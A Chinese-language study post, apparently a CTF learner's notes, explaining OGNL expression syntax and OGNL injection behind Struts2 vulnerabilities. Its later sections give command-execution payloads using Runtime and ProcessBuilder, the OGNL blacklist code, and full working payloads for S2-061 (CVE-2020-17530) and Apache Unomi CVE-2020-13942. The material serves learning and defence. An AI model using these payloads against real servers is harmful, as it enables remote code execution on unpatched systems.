前言
很久之前欠下的Struts2-001基础之OGNL注入,在SICTF之后终于想起来填了(
参考:
https://boogipop.com/2023/04/25/Struct2%20OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
OGNL基础
导入依赖(Maven配置部分建议自己搜索教程)
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.1.19</version>
</dependency>
OGNL三要素
Expression
表达式root
根对象,即操作对象context
上下文,用来保存对象运行的属性及其值,有点类似于运行环境的意思,保存了环境变量
Demo
写一个User类来作为我们的demo,具有姓名和年龄两个属性以及对应的getter/setter方法与构造方法
package com.example;
public class User {
public String name;
public String age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return age;
}
public void setAge(String age) {
this.age = age;
}
public User() {
}
public User(String name, String age) {
this.name = name;
this.age = age;
}
}
再写一个Test类来作为我们的操作对象root
,其中有一个user属性作为一个User对象
package com.example;
public class Test {
public User user;
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
}
OGNL类来执行OGNL语句
package com.example;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class OGNL {
public static void main(String[] args) throws OgnlException {
Test test = new Test();
User ciallo = new User("C1oudfL0w0", "495");
test.setUser(ciallo);
//创建context、设置root
OgnlContext context=new OgnlContext();
context.setRoot(test);
//设置表达式expression
String expression="user.name";
//解析表达式
Object ognl= Ognl.parseExpression(expression);
//调用获取值
Object value = Ognl.getValue(ognl, context, context.getRoot());
System.out.println(value);
}
}
运行OGNL.java即可获取com.example.Test.user.name
的值
注意是.user.name
的值,上述我们是创建了一个test,并且让他的user属性为一个User对象,表达式为user.name
也就是获取test的user属性的name属性
OGNL语法
基本语法
基本对象树的访问:通过使用
.
将对象的引用串联起来进行xxxx xxxx.xxxx xxxx.xxxx.xxxx.xxxx.xxxx
对容器变量的访问:通过
#
符号加上表达式进行#xxxx #xxxx.xxxx #xxxx.xxxxx.xxxx.xxxx.xxxx
容器、数组、对象:
OGNL支持对数组和ArrayList等容器的顺序访问。例如:
group.users[0]
同时,OGNL支持对Map的按键值查找。例如:
#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式。例如:
{"green", "red", "blue"}
构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}
构造一个Map也可以通过任意类对象的构造函数进行对象新建。例如:
new Java.net.URL("xxxxxx/")
对静态方法或变量的访问:见操作符
@
方法调用:直接通过类似Java的方法调用方式进行,可以传递参数,例如:
user.getName()
,group.users.size()
,group.containsUser(#requestUser)
投影和选择:
- 投影:选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作,语法为
collection.{XXX}
,其中XXX是这个集合中每个元素的公共属性 - 选择:过滤满足selection条件的集合元素,类似于关系数据库的记录操作。语法为:
collection.{X YYY}
,其中X是一个选择操作符,后面则是选择用的逻辑表达式:?
选择满足条件的所有元素^
选择满足条件的第一个元素$
选择满足条件的最后一个元素
- 投影:选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作,语法为
操作符
.
操作符:就和上面demo的作用一样,用于调用对象的属性和方法user.name
;上一个节点的结果会作为下一个节点的上下文,如
(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a))
,也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))
我们把表达式修改一下
成功弹出计算器
可以发现它执行的方式有点类似递归,会把
.
前面的表达式当做结果给后面的表达式执行了@
操作符:用于调用静态属性、静态方法、静态变量,如上述的@java.lang.Runtime@getRuntime().exec
#
操作符:调用非root对象:
我们修改一下前面demo的代码,把
setRoot
改成put
,这样做会把ciallo属性放入Context中,但不是以root而后面创建Expression的时候因为是非root,所以要加上#
如果没有#的话就会产生报错,因为不是root对象
创建Map:
#{"name": "C1oudfL0w0", "level": "12"}
定义变量:
如一开始的例子
#a=new java.lang.String("calc")
,就是定义了一个字符串常量$
操作符:一般用于配置文件,${name}
%
操作符:计算其中的OGNL表达式,%{hacker.name}
List:直接使用
{“red”, “blue”, “green”}
创建对象创建:
new java.lang.String[]{“foobar”}
与EL表达式的区别
因为OGNL表达式是Struts2的默认表达式语言,所以只针对Struts2标签有效;然而EL在HTML中也可以使用
页面取值:
名称 | servlet | OGNL | EL |
---|---|---|---|
parameters | request.getParameter(“username”) | #username | ${username} |
request | request.getAttribute(“userName”) | #request.userName | ${requestScope.username} |
session | session.getAttribute(“userName”) | #session.userName | ${sessionScope.username} |
application | application.getAttribute(“userName”) | #application.userName | ${applicationScope.username} |
attr | 用于按request > session > application顺序访问其属性(attribute) | #attr.userName相当于按顺序在以上三个范围(scope)内读取userName属性,直到找到为止 |
能解析OGNL的API
类名 | 方法名 |
---|---|
com.opensymphony.xwork2.util.TextParseUtil | translateVariables,translateVariablesCollection |
com.opensymphony.xwork2.util.TextParser | evaluate |
com.opensymphony.xwork2.util.OgnlTextParser | evaluate |
com.opensymphony.xwork2.ognl.OgnlUtil | setProperties,setProperty,setValue,getValue,callMethod,compile |
org.apache.struts2.util.VelocityStrutsUtil | evaluate |
org.apache.struts2.util.StrutsUtil | isTrue,findString,findValue,getText,translateVariables,makeSelectList |
org.apache.struts2.views.jsp.ui.OgnlTool | findValue |
com.opensymphony.xwork2.util.ValueStack | findString,findValue,setValue,setParameter |
com.opensymphony.xwork2.ognl.OgnlValueStack | findString,findValue,setValue,setParameter,trySetValue |
ognl.Ognl | parseExpression,getValue,setValue |
调用过程中涉及的类:
涉及类名 | 方法名 |
---|---|
com.opensymphony.xwork2.ognl.OgnlReflectionProvider | getGetMethod,getSetMethod,getField,setProperties,setProperty,getValue,setValue |
com.opensymphony.xwork2.util.reflection.ReflectionProvider | getGetMethod,getSetMethod,getField,setProperties,setProperty,getValue,setValue |
OGNL注入
由前面知道,OGNL可以访问静态方法、属性以及对象方法等,其中包含可以执行恶意操作如命令执行的类java.lang.Runtime
等
RCE
弹计算器
public class OGNL {
public static void main(String[] args) throws OgnlException {
String expression = "@java.lang.Runtime@getRuntime().exec('calc')";
OgnlContext context = new OgnlContext();
Ognl.getValue(expression, context, context.getRoot());
}
}
换成一行的形式就是:Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, context.getRoot());
实际的题目环境要执行的往往是:@java.lang.Runtime@getRuntime().exec("ls")
注意:getValue()
和setValue()
都能成功解析恶意的OGNL表达式
调试分析
粗略看了一下,是和语法树解析有关,懒得调了(
高版本下的黑名单
在OGNL>=3.1.25 3.1.12版本设置了黑名单:
public static Object invokeMethod(Object target, Method method, Object[] argsArray)
throws InvocationTargetException, IllegalAccessException
{
if (_useStricterInvocation) {
final Class methodDeclaringClass = method.getDeclaringClass(); // Note: synchronized(method) call below will already NPE, so no null check.
if ( (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)) ||
(AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)) ||
(SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)) ||
(SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)) ||
AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
Runtime.class.isAssignableFrom(methodDeclaringClass) ||
ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass) ) {
throw new IllegalAccessException("........");
}
这个版本下运行上面的rce代码会产生报错
HTTP请求中常见的注入点
常用payload
//获取context里面的变量
#user
#user.name
//使用runtime执行系统命令
@java.lang.Runtime@getRuntime().exec("calc")
//使用processbuilder执行系统命令
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
//获取当前路径
@java.lang.System@getProperty("user.dir")
漏洞
Confluence CVE-2021-26084
poc:https://github.com/0xf4n9x/CVE-2021-26084
Struts2 CVE-2020-17530(S2-061)
payload:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#access=#bean.get("memberAccess")).(#bean.setBean(#access)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#cmd={'whoami'}).(#execute.exec(#cmd))}
Apache Unomi CVE-2020-13942
(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))